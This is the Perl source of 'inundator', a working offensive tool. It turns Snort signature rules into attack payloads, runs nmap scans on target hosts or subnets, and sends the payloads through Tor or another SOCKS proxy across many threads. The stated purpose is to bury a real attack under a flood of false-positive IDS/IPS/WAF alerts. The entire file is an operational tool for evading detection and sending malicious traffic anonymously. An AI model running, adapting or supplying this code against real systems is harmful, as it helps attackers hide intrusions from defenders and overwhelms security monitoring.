#!/usr/bin/perl
# Sat Jun 26 15:10:08 PDT 2010 by epixoip@bindshell.nl and lion@bindshell.nl
# fills ids/ips/waf logs with false positives to obfuscate an attack.

=for License

    Copyright (C) 2010, bindshell.nl. All rights reserved.

    Redistribution and use in source and binary forms, with or without
    modification, are permitted provided that the following conditions are met:

        * Redistributions of source code must retain the above copyright
          notice, this list of conditions and the following disclaimer.

        * Redistributions in binary form must reproduce the above copyright
          notice, this list of conditions and the following disclaimer in the
          documentation and/or other materials provided with the distribution.

        * Neither the name of bindshell.nl nor the names of its contributors may
          be used to endorse or promote products derived from this software
          without specific prior written permission.

    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    DISCLAIMED. IN NO EVENT SHALL BINDSHELL.NL BE LIABLE FOR ANY DIRECT, INDIRECT,
    INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
    LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
    PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
    ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
    POSSIBILITY OF SUCH DAMAGE.

=cut


use strict;

## required modules
use Net::SOCKS;             # for SOCKS support
use Getopt::Long;           # for prasing switches
use Net::CIDR ':all';       # for handing multiple targets
use Socket qw(inet_ntoa);   # for dns resolution
use Time::HiRes qw(usleep); # for microsecond sleeps

## version info
my $VERSION = "0.5";

## local variables
my $target;	# user-supplied target
my $rules;	# user-supplied rules dir
my $thrnum;	# number of threads to spawn
my $usethreads;	# can we use threads?

## global variables
our $delay;      # usleep() delay
our $proxy_addr; # addr of proxy server
our $proxy_port; # proxy server port
our $proxy_user; # proxy username
our $proxy_pass; # proxy password
our $proxy_vers; # SOCKS version

## target and attack queues
our @targets = ();
our @attacks = ();


## main()

print "[!] inundator has not been tested on this platform.\n" .
      "[!] please report how well inundator works on this platform!\n"
	if $^O ne 'linux';


## grab cmd line args
my %opts = ();

GetOptions (
    'auth=s'          => \$opts{'auth'},
    'delay=i'         => \$opts{'delay'},
    'help'            => \&usage,
    'no-threads'      => \$opts{'threads'},
    'proxy=s'         => \$opts{'proxy'},
    'rules=s'         => \$opts{'rules'},
    'threads=s'       => \$opts{'thrnum'},
    'use-comments!'   => \$opts{'comments'},
    'socks-version=i' => \$opts{'version'},
    'verbose!'        => \$opts{'verbose'},
    'Version'	      => \&version
);

## accept user input, or define defaults.
$target     = $ARGV[0] || &usage("[!] error: no target specified");
$rules      = ( $opts{'rules'}   ? $opts{'rules'}  : '/etc/snort/rules/' );
$delay      = ( $opts{'delay'}   ? $opts{'delay'}  : 0  );
$thrnum     = ( $opts{'thrnum'}  ? $opts{'thrnum'} : 25 );
$usethreads = ( $opts{'threads'} ? 0 : 1 );

## define proxy defaults
$proxy_vers = ( $opts{'version'} ? $opts{'version'} : 4 );
( $proxy_addr, $proxy_port ) = ( $opts{'proxy'} ? split(':', $opts{'proxy'}) : 'localhost', '9050' );
( $proxy_user, $proxy_pass ) = ( $opts{'auth'}  ? split(':', $opts{'auth'})   : '', '' );

## queue up our attacks
&queue_attacks;

## queue up our targets
my $no_targets = &queue_targets;

## spawn our threads
if ($usethreads) {

    ## enable ithreads
    require threads;

    ## spawn the required number of threads
    for (my $thr = 1; $thr <= $thrnum - 1; $thr++) {

	threads->create(\&attack);

    }

}

## wait for the threads to catch up
usleep(500000);

## the parent can attack too!
&attack;


## end main()


sub attack
{

    if ($usethreads) {

	my $tid = threads->tid();

	if ($tid) {

	    print "[+] child " . threads->tid() . " now attacking.\n";

	} else {

	    print "[+] parent now attacking.\n";
	    print "[=] press ctrl+\\ at any time to stop.\n\n";

	}

    } else {

	print "[+] now attacking.\n";
	print "[=] press ctrl+\\ at any time to stop.\n\n";

    }

    ## attack loop
    while(1) {

	my ($h, $sock);

	## grab a random target
	my $rand4target = int(rand($no_targets));
	my $rand_target = $targets[$rand4target]{'addr'};

	## grab a random open port
	my @open = @{$targets[$rand4target]{'ports'}};
	my $num_ports = $#open + 1;
	my $rand4port = int(rand($num_ports));
	my $rand_port = $open[$rand4port];

	## grab all attacks for the selected port
        my @targeted = ();
        @targeted = @{$attacks[$rand_port]} if @{$attacks[$rand_port]};

	## grab all the attacks for any port
	my @any_port = @{$attacks[0]};

	## merge the arrays to build one big queue
	my @attks = (@targeted, @any_port);

	## grab a random attack from the queue
	my $num_attacks = $#attks + 1;
	my $rand_attack = int(rand($num_attacks));
	my $attack_uri  = $attks[$rand_attack]{'uri'};
	my $attack_desc = $attks[$rand_attack]{'desc'};
	my $attack_payload = $attks[$rand_attack]{'payload'};

	## create our socket
	if ($proxy_user) {

	    $sock = new Net::SOCKS(
                        socks_addr       => "$proxy_addr",
                        socks_port       => "$proxy_port",
                        protocol_version => "$proxy_vers",
			user_id		 => "$proxy_user",
			user_password    => "$proxy_pass"
            );


	} else {

	    $sock = new Net::SOCKS(
			socks_addr       => "$proxy_addr",
			socks_port       => "$proxy_port",
			protocol_version => "$proxy_vers"
            );

	}

	print "[v] connecting to port tcp/$rand_port on $rand_target via $proxy_addr\:$proxy_port..."
	    if $opts{'verbose'};

	## establish a connection
	if (not $h = $sock->connect( peer_addr => "$rand_target", peer_port => "$rand_port" )) {

	    print "\n" if $opts{'verbose'};
	    print "[!] connection error!\n";

	    next;

	} else {

	    print "connected.\n" if $opts{'verbose'};

	}

	## check to see if this is a web
	## attack or a network attack.
	if ($attack_uri) {

	    ## this is, in fact, a web-based attack.
	    ## check to see if we need to POST or GET
	    if ($attack_payload) {

		my $len = length($attack_payload);

		print $h "POST " . $attack_uri . " HTTP/1.1\r\n" .
			 "Host: $rand_target\r\n" .
			 "User-Agent: Opera/9.25 (Windows NT 6.1; U; en)\r\n" .
			 "Content-Type: application/x-www-form-urlencoded\r\n" .
			 "Content-Length: $len\r\n\r\n" .
			 $attack_payload . "\r\n\r\n";

	    } else {

		print $h "GET " . $attack_uri . " HTTP/1.1\r\n" .
			 "Host: $rand_target\r\n" .
			 "User-Agent: Opera/9.25 (Windows NT 6.1; U; en)\r\n\r\n";

	    }

	} elsif ($attack_payload) {

	    ## it's just a network-based attack,
	    ## so nothing special needs to be done.
	    binmode $h;
	    print $h "$attack_payload";

	} else {

	    next;

	}

	$sock->close();

	print "[v] sent to tcp/$rand_port on $rand_target\: $attack_desc\n"
	    if $opts{'verbose'};

	usleep($delay);

    }

}


sub queue_targets
{
    print "[+] queuing up target(s)...\n";

    my @octets;
    my $r = '[0-9]{1,3}';

   ## determine what type of target we're dealing with
   if ($target =~ /[A-Za-z]/) {

	# target must be a fqdn.
	my $addr = (gethostbyname($target))[4] || die "[!] error: hostname does not resolve.\n";
	push(@octets, inet_ntoa($addr));

    } elsif ($target =~ /^($r\.){3}$r\/[0-9]{1,2}$/) {

        ## subnet in CIDR format.
        @octets = Net::CIDR::cidr2octets($target);

    } elsif ($target =~ /^($r\.){3}$r(\-($r\.){3}$r)?$/) {

        ## range of addrs; convert it to cidr so we can get octets.
        @octets = Net::CIDR::cidr2octets(Net::CIDR::range2cidr($target));

    } else {

        ## the user is smoking crack
        &usage('[!] unrecognized target format.');

    }

    ## find the open ports on each target and queue them up
    foreach my $octet (@octets) {

	my @ports = &scan($octet);

	if ($#ports + 1 >= 0) {

	        push(@targets, { addr => $octet, ports => [ @ports ] });

	}

    }

    ## return the number of targets in the queue

    if ($#targets + 1 >= 0) {

	return $#targets + 1;

    } else {

	die "[!] error: no targets were found with open ports.\n";

    }
}


sub scan
{
    my @ports;
    my $target = shift;

    print "[+] detecting open ports on $target...\n";

    my $nmap = `which nmap` || die "[!] error: nmap was not found on this system.\n";

    if ($<) {

	print "[-] performing connect() scan since we're not root.\n";
	open NMAP, "nmap -sT -P0 $target |";

    } else {

	open NMAP, "nmap -sS -P0 $target |";

    }

    while (<NMAP>) { push(@ports,$1) if /([0-9]*)\/tcp/; }
    close NMAP;

    return @ports;
}


sub queue_attacks
{
    print "[+] queuing up attacks...\n";

    ## open the rules directory
    opendir(DIR, $rules) || die "[!] error: could not read directory '$rules'.\n";

    ## start looping through the rules files
    while(defined(my $file = readdir(DIR))) {

        open RULES, '<', "$rules/$file", or die "[!] error: $!\n";

            while (<RULES>) {

                my ($desc, $dport, $payload, $uri, @fields);

                ## clean up the line
                chomp; s/^\s+//; s/\s+$//;


                ## are we ignoring comments?
                if ($opts{'comments'}) {

                    s/^#//; ## strip the comment char

                } else {

                    s/^#.*//; ## delete the whole rule

                }

                ## see if we're left with an empty line
                next unless length;

                ## match a rule that we can work with.
                ## criteria:
                ## - must be tcp (tor cannot do udp)
                ## - must be an external attack
                ## - must be from any source port (we have no control over the sport used by the proxy)
                if ( /^alert\stcp\s(\$EXTERNAL_NET|any)\sany\s\-\>\s\$.*\s(\$HTTP_PORTS|[0-9]*|any)\s\((.*)\)$/ ) {


                    ## find the dport
                    if ($2 eq '$HTTP_PORTS') {

                        ## '$HTTP_PORTS' == tcp/80
                        $dport = 80;

		    } elsif ($2 eq 'any') {

			# treat 'any' as 0.
			$dport = 0;

                    } else {

                       ## use the dport required
                       $dport = $2;

                    }

		    ## make sure the rule doesn't specify
		    ## a byte offset. since we're not crafting
		    ## our own packets, this would be difficult
		    ## to acheive.
		    if ($3 !~ /(depth\:|offset\:)/) {

			## slurp the fields into an array
			@fields = split(/\;/, $3);

		    }

                } else {

                    next;

                }

                ## loop through the fields. we're looking
                ## for 'content:' and 'uricontent:' fields.
                foreach my $field (@fields) {

                    my ( $key, $val ) = split(/\:/, $field);

                    ## trim whitespace from the key name
                    $key =~ s/^\s+//; $key =~ s/\s+$//;

                    ## we just need the value of the field
                    $val =~ s/^\"(.*)\"$/$1/g;

                    if ($key eq 'content') {

                        ## we found a 'content:' field. it
                        ## likely contains hex values
                        my $hex = 0;

                        ## split the string into a char array
                        my @chars = split(//, $val);

                        ## loop through the char array to
                        ## determine if we're dealing with hex
                        for (my $i=0; $i<=$#chars; $i++) {

                            ## snort uses '|' to mark hex values
                            if ( $chars[$i] eq '|' ) {

                                ## enable or disable 'hex mode'
                                $hex == 0 ? ($hex = 1) : ($hex = 0); next;
                            }

                            if ($hex) {

                                ## hex mode is enabled, so un-hex each pair
                                next if $chars[$i] eq ' ';

                                $payload .= sprintf("%c", hex($chars[$i] . $chars[$i+1]));
                                $i++;

                            } else {

                                ## we're not in hex mode, so this
                                ## must be ascii
                                $payload .= $chars[$i];

                            }

                        }

			$payload .= "\n";

                    } elsif ($key eq 'uricontent') {

                        ## we found a 'uricontent:' field.
                        ## check to see if this contains a
                        ## path or some params.

                        if ($val =~ /[\=\&]/) {

                            ## likely a parameter string
                            $uri .= "\?" . $val . "http\:\/\/www.microsoft.com\/&";

                        } else {

                            ## likely a file path
                            $uri .= $val;

                        }

                    } elsif ($key eq 'msg') {

			## store the description
                        $desc = $val;

                    }

                }

		## check to see if it's even worth queuing it up
		if ($uri || $payload) {

		    ## queue up the attack
		    push(@{$attacks[$dport]}, { desc => $desc, uri => $uri, payload => $payload });

		}

            }

        ## done with the rules files
        close RULES;

    }

    return;
}

sub version
{
    print "\ninundator version $VERSION, using Perl $^V on $^O\n";
    print "libnet-socks-perl version: " . `perl -MNet::SOCKS -e 'print "\$Net::SOCKS::VERSION\n"'`;
    print "libnet-cidr-perl version: " . `perl -MNet::CIDR -e 'print "\$Net::CIDR::VERSION\n\n"'`;
    exit 0;
}


sub usage
{
my $msg = shift;

print STDERR "$msg\n\n" if $msg;

print <<EOF;

inundator - fills ids/ips/waf logs with false positives to obfuscate an attack.
Syntax: $0 [options] <target>


Options:

    -a, --auth          Credentials for SOCKS proxy in user:pass format.
                        Default: undef

    -d, --delay         Delay in microseconds (millionths of a second) after
			sending an attack.
                        Default: 0mus since we default to tor, and tor is slow.

    -n, --no-threads	Disable thread support.
			Default: threads are used.

    -p, --proxy         Define the SOCKS proxy to use for attacks in host:port
                        format. The use of a SOCKS proxy is mandatory for rather
                        obvious reasons.
                        Default: localhost:9050 (tor)

    -r, --rules         Path to directory containing Snort rules files.
                        Default: /etc/snort/rules/

    -s, --socks-version Specify SOCKS version to use (4 or 5).
                        Default: 5

    -t, --threads       Number of concurrent threads.
                        Default: 25

    -u, --use-comments  Don't ignore commented lines in Snort rules files.
                        Default: commented lines are ignored

    --verbose           Provide more information about attacks sent.

    --Version		Print version information and exit.


Target:

    - Single host (FQDN or ip addr)

    - Range of ip addrs

    - Subnet in CIDR format

See 'man 1 inundator' for more information.


EOF

exit(666);
}
